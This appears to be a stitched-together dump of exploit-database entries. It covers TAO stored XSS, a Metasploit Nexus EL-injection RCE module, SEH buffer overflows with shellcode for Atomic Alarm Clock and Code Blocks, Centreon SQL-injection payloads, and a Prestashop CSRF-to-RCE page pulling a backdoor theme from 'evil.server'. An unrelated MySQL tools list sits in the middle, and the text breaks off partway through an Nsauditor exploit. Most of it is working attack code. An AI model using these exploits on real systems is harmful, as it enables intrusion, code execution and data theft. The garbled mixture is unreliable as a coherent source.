"timeLimits":{"qti-type":"timeLimits","maxTime":7810,"allowLateSubmission":false},"testParts":[{"qti-type":"testPart","identifier":"Introduction","navigationMode":1,"submissionMode":0,"preConditions":[],"branchRules":[],
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":0,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":false,
"validateResponses":false,"allowSkipping":true},"assessmentSections":[{"qti-type":"assessmentSection","title":"Section
1","visible":true,
"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971963337314","categories":[],
"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-1","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,
"itemSessionControl"{"qtitype":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,
"validateResponses":false,"allowSkipping":true},"isLinear":false}],"identifier":"assessmentSection-1","required":true,"fixed":false,"preConditions":[],"branchRules":[],
"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowReview":true,"showSolution":false,"allowComment":true,"validateResponses":
false,"allowSkipping":true},"index":0}],"testFeedbacks":[],"index":0},{"qti-type":"testPart","identifier":"QTIExamples","navigationMode":0,"submissionMode":0,"preConditions":[],"branchRules":[],"assessmentSections":[{"qti-type":"assessmentSection","title":"Section
1","visible":false,"keepTogether":true,"sectionParts":[{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971964187315","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,"itemSessionControl":{"qti-type":"itemSessionControl","maxAttempts":1,"showFeedback":false,"allowComment":false,"allowSkipping":true,"validateResponses":false},"isLinear":true,
"timeLimits":{"maxTime":0,"minTime":0,"allowLateSubmission":false,"qti-type":"timeLimits"}},{"qti-type":"assessmentItemRef",
"href":"http://localhost/tao.rdf#i1586971965925016","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-3","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":1,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},
{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697196662817","categories":[],"variableMappings":[],"weights":[],
"templateDefaults":[],"identifier":"item-4","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":2,"itemSessionControl
":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971967539318","categories"
:[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-5","required":false,"fixed":false,"preConditions":[],"branchRules":[],
"index":3,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":
"http://localhost/tao.rdf#i1586971968508019","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-6",
"required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":4,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971969922220","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":
"item-7","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":5,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i158697197087021","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":"item-8","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":6,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true},{"qti-type":"assessmentItemRef","href":"http://localhost/tao.rdf#i1586971970668622","categories":[],"variableMappings":[],"weights":[],"templateDefaults":[],"identifier":
"item-9","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":7,"itemSessionControl":{"qti-type":"itemSessionControl"},"isLinear":true}],"identifier":"assessmentSection-2","required":false,"fixed":false,"preConditions":[],"branchRules":[],"index":0,
"itemSessionControl":{"qti-type":"itemSessionControl"},"rubricBlocks":[{"qti-type":"rubricBlock","index":0,"content":[{"qti-type":"div","id":"","class":"","xmlBase":"","lang":"","label":"","content":[{"qti-type":"textRun","content":"asd>"<script>alert(document.cookie)></script>",
"xmlBase":""}]}],"views":["candidate"],"orderIndex":1,"uid":"rb1","feedback":{"activated":false,"outcome":null,"matchValue":null,"qti-type":"feedback"},
"class":""}]}],"testFeedbacks":[],"index":1}],"testFeedbacks":[],"scoring":{"modes":{"none":{"key":"none","label":"None","description":"No
outcome processing.
Erase the existing rules, if
any.","qti-type":"none"},"custom":{"key":"custom","label":"Custom","description":"bufu","qti-type":"cut"},"qti-type":"modes"},"scoreIdentifier":"SCORE","weightIdentifier":"","cutScore":0.5,"categoryScore":false,"outcomeProcessing":"none","qti-type":"scoring"}}
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: frame-ancestors 'self'
Content-Length: 14
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
-
http://localhost:89/tao/Main/evil.source
Host: localhost:89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer:
http://localhost:89/tao/Main/index?structure=tests&ext=taoTests§ion=authoring
Cookie: tao_X3GLb7Ke=i89lfik72ts13i8soadgfb64hb;
tao_f46245c=9ebdee0d0f34b349a61ba23443ecc950c43a0042
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.38 (Win32) PHP/7.2.15
X-Powered-By: PHP/7.2.15
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 169
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Security Risk:
==============
1.1
The security risk of the html inject web vulnerability in the
web-application is estimated as medium.
1.2
The security risk of the persistent cross site scripting web
vulnerability in the web-application is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Nexus Repository Manager Java EL Injection RCE',
'Description' => %q{
This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user.
This is a post-authentication vulnerability, so credentials are required
to exploit the bug. Any user regardless of privilege level may be used.
Tested against 3.21.1-01.
},
'Author' => [
'Alvaro Muñoz', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10199'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
],
'DisclosureDate' => '2020-03-31', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
'CmdStagerFlavor' => %i[curl wget],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
OptString.new('PASSWORD', [true, 'Nexus password'])
])
end
def post_auth?
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
true
end
# Send a GET / request to the server, check the response for a Server header
# containing the Nexus version, and then check if it's a vulnerable version
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.headers['Server']
return CheckCode::Unknown('Target did not respond with Server header.')
end
# Example Server header:
# Server: Nexus/3.21.1-01 (OSS)
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first
unless version
return CheckCode::Unknown('Target did not respond with Nexus version.')
end
if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
end
CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
print_status("Executing command stager for #{datastore['PAYLOAD']}")
# This will drop a binary payload to disk and execute it!
execute_cmdstager(
noconcat: true,
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
)
end
def login(username, password)
print_status("Logging in with #{username}:#{password}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rapture/session'),
'vars_post' => {
'username' => Rex::Text.encode_base64(username),
'password' => Rex::Text.encode_base64(password)
},
'partial' => true # XXX: Return partial response despite timeout
}, 3.5)
unless res
fail_with(Failure::Unknown, 'Target did not respond to login request')
end
cookie = res.get_cookies
unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
fail_with(Failure::NoAccess, 'Could not log in with specified creds')
end
print_good("Logged in with #{cookie}")
cookie
end
# This is defined so that CmdStager can use it!
def execute_command(cmd, opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rest/beta/repositories/go/group'),
# HACK: Bypass CSRF token with random User-Agent header
'agent' => rand_text_english(8..42),
'cookie' => opts[:cookie],
'ctype' => 'application/json',
'data' => json_payload(cmd)
)
unless res
fail_with(Failure::Unknown, 'Target did not respond to payload request')
end
unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end
print_good("Successfully executed command: #{cmd}")
end
# PoC based off API docs for /service/rest/beta/repositories/go/group:
# http://localhost:8081/#admin/system/api
def json_payload(cmd)
{
'name' => 'internal',
'online' => true,
'storage' => {
'blobStoreName' => 'default',
'strictContentTypeValidation' => true
},
'group' => {
# XXX: memberNames has to be an array, but the API example was a string
'memberNames' => [el_payload(cmd)]
}
}.to_json
end
# Helpful resource from which I borrowed the EL payload:
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
def el_payload(cmd)
# HACK: Format our EL expression nicely and then strip introduced whitespace
el = <<~EOF.gsub(/\s+/, '')
${
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
"".getClass().forName("java.lang.Runtime")
).exec("PATCH_ME")
}
EOF
# Patch in our command, escaping any double quotes
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
end
end
# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-17
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/ataclock.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: Atomic Alarm Clock 6.3 beta
# Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer
File = 'poc.txt'
os_nSEH = '\x41'*(461)
nSEH = '\xeb\x05' # jmp short +2
SEH = '\x47\x47' # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe]
#{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False
getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory
getPC += '\x61' # popad # [ESP] = &Payload
getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes
ebx2eax = '\x58' # pop eax # EAX = &Payload
ebx2eax += '\x72' # add [edx], dh
# Ajust EAX to &Decoder
getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72' # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72' # add [edx], dh
getDecoder += '\x50' # push eax # [ESP] = &Decoder
getDecoder += '\x72' # add [edx], dh
#DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3'
firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50'
## 2nd byte - \x00 => \x5F
venBlinds = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72'
## 4th byte - \x00 => \x33
venBlinds += '\xC6\x33\x72\x40\x72\x40\x72'
## 6th byte - \x00 => \x33
venBlinds += '\xC6\x33\x72\x40\x72\x40\x72'
## 8th byte - \x00 => \x66
venBlinds += '\xC6\x66\x72\x40\x72\x40\x72'
## 10th byte - \x00 => \x10
venBlinds += '\xC6\x10\x72\x40\x72\x40\x72'
## 12th byte - \x00 => \x33
venBlinds += '\xC6\x33\x72\x40\x72\x40\x72'
## 14th byte - \x00 => \x42
venBlinds += '\xC6\x42\x72\x40\x72\x40\x72'
## 16th byte - \x00 => \x32
venBlinds += '\xC6\x32\x72\x40\x72\x40\x72'
## 18th byte - \x00 => \x02
venBlinds += '\xC6\x02\x72\x40\x72\x40\x72'
## 20th byte - \x00 => \x10
venBlinds += '\xC6\x10\x72\x40\x72\x40\x72'
## 22nd byte - \x00 => \x3F
venBlinds += '\xC6\x3F\x72\x40\x72\x40\x72'
## 24nd byte - \x00 => \x1F
venBlinds += '\xC6\x1F\x72\x40\x72\x40\x72'
## 26th byte - \x00 => \x49
venBlinds += '\xC6\x49\x72\x40\x72\x40\x72'
## 28th byte - \x00 => \x02
venBlinds += '\xC6\x02\x72\x40\x72\x40\x72'
## 30th byte - \x00 => \xED
venBlinds += '\xC6\xED\x72\x40\x72\x40\x72'
## 32nd byte - \x00 => \xC3
venBlinds += '\xC6\xC3\x72\x40\x72'
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds += '\xC3' # ret [!] Now we are executing the decoder!
os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))
# Custom PopCalc shellcode that avoids the bad characters
fKernel32 = '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08'
gExpotTbl = '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57'
fWinExec = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C'
# Call WinExec( CmdLine, ShowState );
# CmdLine = "calc.exe"
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec = '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3'
shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec
buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler = '\x77'*(9000-len(buffer))
buffer = buffer+filler
try:
payload = buffer
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'
# Exploit Title: Centreon 19.10.5 - 'id' SQL Injection
# Date: 2020-04-19
# Exploit Author: Basim alabdullah
# Vendor Homepage: https://www.centreon.com
# Software Link: https://download.centreon.com/
# Version: v.19.10.5
# Tested on: Centos 5
[EXECUTIVE SUMMARY]
Centreon has come a long way from its early roots. A user-friendly monitoring console on Nagios before, Centreon is today, a rich monitoring platform powered by Centreon Engine, Centreon Broker and Centreon Web.
Monitoring-savvy IT practitioners who want Nagios-inspired flexibility without its complexity, easily embrace Centreon for robust infrastructure systems and network performance monitoring.
Downloaded by hundreds and thousands of IT professionals worldwide.
The analysis discovered a time-based blind SQL
injection vulnerability in the tracker functionality of
Centreon Monitoring software. A malicious user can inject arbitrary
SQL commands to the application. The vulnerability lies in the project tracker
service search functionality; depending on project visibility successful
exploitation may require user authentication. A successful attack
can read, modify or delete data from the database or execute arbitrary commands on the underlying system.
[VULNERABLE VERSIONS]
The following version of the Centreon Monitoring was affected by the
vulnerability; previous versions may be vulnerable as well:
- Centreon version 19.10.5
[Proof of Concept]
http://TARGET/centreon/include/monitoring/acknowlegement/xml/broker/makeXMLForAck.php?hid=15&svc_id=1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x7176706b71%2C%28CASE%20WHEN%20%28ISNULL%28JSON_STORAGE_FREE%28NULL%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x716b716b71%29%2CNULL%2CNULL%23
[Payloads]
Parameter: svc_id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: hid=15&svc_id=1 OR NOT 5782=5782
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: hid=15&svc_id=1 AND (SELECT 1615 FROM (SELECT(SLEEP(5)))TRPy)
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: hid=15&svc_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7176706b71,0x724b66756a476759544f48716d61496b5a68754a4c6f42634e6e775272724c44616e567355527a6f,0x716b716b71),NULL,NULL#
---
[12:24:35] [INFO] testing MySQL
[12:24:35] [INFO] confirming MySQL
[12:24:35] [INFO] the back-end DBMS is MySQL
[12:24:35] [INFO] fetching banner
web server operating system: Linux Red Hat
web application technology: Apache 2.4.34, PHP 7.2.24
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.1.38-MariaDB'
[12:24:35] [INFO] fetching database names
[12:24:35] [INFO] starting 4 threads
[12:24:35] [INFO] resumed: 'centreon'
[12:24:35] [INFO] resumed: 'test'
[12:24:35] [INFO] resumed: 'centreon_storage'
[12:24:35] [INFO] resumed: 'information_schema'
available databases [4]:
[*] centreon
[*] centreon_storage
[*] information_schema
[*] test
# Exploit Title: Code Blocks 16.01 - Buffer Overflow (SEH) UNICODE
# Date: 2020-04-17
# Exploit Author: T3jv1l
# Software Link: https://sourceforge.net/projects/codeblocks/files/Binaries/16.01/Windows/codeblocks-16.01-setup.exe
# Software version: 16.01
buffer="A"*536 #buffer
buffer+="\x61\x41" #POPAD + Aligned
buffer+="\xF2\x41" #POP/POP/RET
#----------------------Align the eax to point to the shellcode PART -----------------------
#buffer+="\x90" #NOP
#buffer+="\x6e" #venetian padding
#buffer+="\x05\x37\x13" #add eax, 0x13003700
#buffer+="\x6e"
#buffer+="\x2d\x36\x13" #sub eax, 0x13003600
#buffer+="\x6e" #venetian padding
#buffer+="\x50" #push eax
#buffer+="\x6e" #Venetian padding
#buffer+="\xc3" #ret
#----------------------Shellcode PlaceHOLDER ----------------------------------------------
#uffer+="\x90"*111
#buffer+=("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLIX52KPKPM01PDIJEP1Y0QT4KPPNPTK1BLLTK1BMDDKSBNHLO6WPJNFNQKOVLOLC13LM2NLO07QXOLMKQ7WJBZR220WDKQBN0TKOZOLTKPLN1T8ZCOXKQZ10QTKQIMPKQXSTKOYLXISOJ19TKNTTKM1XV01KOFL7Q8OLMKQGW08YPD5L6KSSMJXOKSMMTBU9TPXDKR8MTKQYCRF4KLLPKTKPXMLKQJ3TKKTDKKQZ0E9OTMTO4QK1K1Q291JPQKO9PQOQOQJTKN2JKDM1MRJKQ4M3UGBKPM0M0R0RHNQTKRO4GKOXUWKL0VU6BPVQXVFDU7MUMKO9EOLM63LLJE0KKYP2UM5WKOWN3T2RORJKP1CKOJ5BCS1RL33NNS5RX2EKPA")
buffer+="\xcc\xcc\xcc\xcc"
buffer+="\x90"*(5000-len(buffer))
f=open('exploit.m3u','w');
f.write(buffer);
f.close();
print "[+] File created."
MySQL has many management and maintenance tools. In addition to the command line management tools included in the system, there are many other graphical management tools. It is one aspect that the tools are easy to use, and personal usage habits are also very important. Here are 11 MySQL graphical management tools for your reference.
1. DBeaver
DBeaver is a Java-based, free and open source universal database management and development tool that uses very friendly ASL protocols. It can run on various operating systems, including: Windows, Linux, macOS, etc. DBeaver is developed using the Eclipse framework, supports plug-in extensions, and provides many database management tools: ER diagrams, data import/export, database comparison, simulated data generation, etc. It can support almost all database products, including: MySQL, PostgreSQL, MariaDB, SQLite, Oracle, Db2, SQL Server, Sybase, MS Access, Teradata, Firebird, Derby, etc.
2. DataGrip
DataGrip is a multi-engine database environment released by JetBrains, supporting MySQL and PostgreSQL, Microsoft SQL Server and Oracle, Sybase, DB2, SQLite, and HyperSQL, Apache Derby
3.phpMyAdmin
phpMyAdmin is the most commonly used MySQL maintenance tool. It is a MySQL management tool based on a web-based architecture on the website host developed in PHP. It supports Chinese and is very convenient to manage databases. The disadvantage is that it is inconvenient to backup and restore large databases.
4 Navicat
Navicat is a desktop version of MySQL database management and development tool. It is very similar to Microsoft SQLServer's manager, easy to learn and use. Navicat uses a graphical user interface, which makes it easier for users to use and manage. Support Chinese,
5 MySQL-Front
MySql-Front small management of MySQL applications. The main features include multi-document interface, syntax highlighting, drag-and-drop databases and tables, editable/added fields, editable/insertable records, displayable members, executable SQL scripts, providing interfaces with external programs, saving data to CSV files, etc.
6 dbForge Studio for MySQL
dbForge Studio for MySQL is a powerful tool designed specifically to automate and simplify MySQL's work. It provides a simple way to explore and maintain existing databases, design composite SQL statements, query and manipulate data in different ways.
<html>
<!--
# Exploit Title: Prestashop <= 1.7.6.4 single-click RCE exploit
# Date: 2020-04-11
# Exploit Author: Sivanesh Ashok | @sivaneshashok | stazot.com
# Vendor Homepage: https://www.prestashop.com/
# Version: 1.7.6.4 and below
# Tested on: Windows 10 / XAMPP / Prestashop v1.7.6.4
Prestashop <= 1.7.6.4 single-click RCE exploit
Written by Sivanesh Ashok | @sivaneshashok | stazot.com
For more details, visit https://stazot.com/prestashop-csrf-to-rce-article
Change the values of the 3 variables marked as "change this"
-->
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<h3>This is totally a legit page. Just keep reading this for a minute :)</h3>
<script>history.pushState('', '', '/')</script>
<script>
var target = "http://localhost"; //change this
var admin_url = "/admin123ab45cd"; //change this
var theme_url = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip file
var xhr0 = new XMLHttpRequest();
xhr0.open("GET", target+admin_url+"/filemanager/dialog.php");
xhr0.withCredentials = true;
xhr0.send();
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", target+admin_url+"/filemanager/upload.php", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");
xhr.withCredentials = true;
var body = "-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"path\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"path_thumb\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"exploit.svg\"\r\n" +
"Content-Type: image/svg+xml\r\n" +
"\r\n" +
"\x3csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\x3e\r\n" +
"\r\n" +
"\t\x3cscript xlink:href=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"\x3e\x3c/script\x3e\r\n" +
"\t\r\n" +
"\t\x3cscript\x3e\r\n" +
"\t\r\n" +
"\t$.ajaxSetup({async: false});\r\n" +
"\r\n" +
"\tvar target = \'" + target + "\';\r\n" +
"\tvar admin_url = \'" + admin_url + "\';\r\n" +
"\tvar theme_url = \'" + theme_url + "\';\r\n" +
"\tvar import_url = \'\';\r\n" +
"\tvar import_token = \'\';\r\n" +
"\t\r\n" +
"\t$.get(target+admin_url+\'/index.php/improve/design/themes/import\', function( my_var0 ) {\r\n" +
"\t\r\n" +
"\t\tvar tmp = my_var0.match(/_token(.{44})/g);\r\n" +
"\t\ttmp = tmp.toString().split(\"=\");\r\n" +
"\t\ttmp = tmp[1];\r\n" +
"\t\timport_url = target+admin_url+\'/improve/design/themes/import?_token=\'+tmp;\r\n" +
"\r\n" +
"\t}, \'html\');\r\n" +
"\r\n" +
"\t$.get(import_url, function( my_var1 ) {\r\n" +
"\r\n" +
"\t\tvar tmp = my_var1.match(/import_theme__token(.{101})/g);\r\n" +
"\t\ttmp = tmp.toString().split(\' \');\r\n" +
"\t\ttmp = tmp[3].toString().split(\'=\\\"\');\r\n" +
"\t\timport_token = tmp[1];\r\n" +
"\r\n" +
"\t}, \'html\');\r\n" +
"\r\n" +
"\tvar themeUploadData = new FormData();\r\n" +
"\tthemeUploadData.append(\'import_theme[import_from_web]\', theme_url);\r\n" +
"\tthemeUploadData.append(\'import_theme[_token]\', import_token);\r\n" +
"\r\n" +
"\t$.ajax({\r\n" +
"\t\turl: import_url,\r\n" +
"\t\tdata: themeUploadData,\r\n" +
"\t\tcache: false,\r\n" +
"\t\tcontentType: false,\r\n" +
"\t\tprocessData: false,\r\n" +
"\t\tmethod: \'POST\'\r\n" +
"\t});\r\n" +
"\r\n" +
"\t\x3c/script\x3e\r\n" +
"\r\n" +
"\x3c/svg\x3e\r\n" +
"\r\n" +
"-----------------------------6487332036660663652470259777--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
window.setTimeout(function(){
submitRequest();
}, 1500);
window.setTimeout(function(){
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = target+"/img/cms/exploit.svg";
document.body.appendChild(iframe);
}, 4000);
</script>
</body>
</html>
# Exploit Title: Nsauditor 3.2.1.0 - Buffer Overflow (SEH+ASLR bypass (3 bytes overwrite))
# Date: 2020-04-17
# Exploit Author: Cervoise
# Vendor Homepage: https://www.nsauditor.com/
# Software Link: https://www.nsauditor.com/downloads/nsauditor_setup.exe
# Version: 3.2.1.0 and 3.0.28
# Tested on: Windows 10.0.18363.778 x86 Pro EN
# Exploit originally found on Nsauditor 3.0.28.0 by ACHILLES
(https://www.exploit-db.com/exploits/46005)
# Latest version Nsauditor 3.2.1.0 (4/13/2020 1:51:53) is still
vulnerable
# 1 -> Change the shellcode with the one you want
# 2 -> Open nsauditor-3-2-1-exploit.txt and copy content to clipboard
# 3 -> Open Nsauditor
# 4 -> In the Window select "Tools" -> "Dns Lookup"
# 5 -> Paste the content into the Field: "Dns Query'"
# 6 -> Click "Resolve"
#!/usr/bin/python3
# Badchars ->
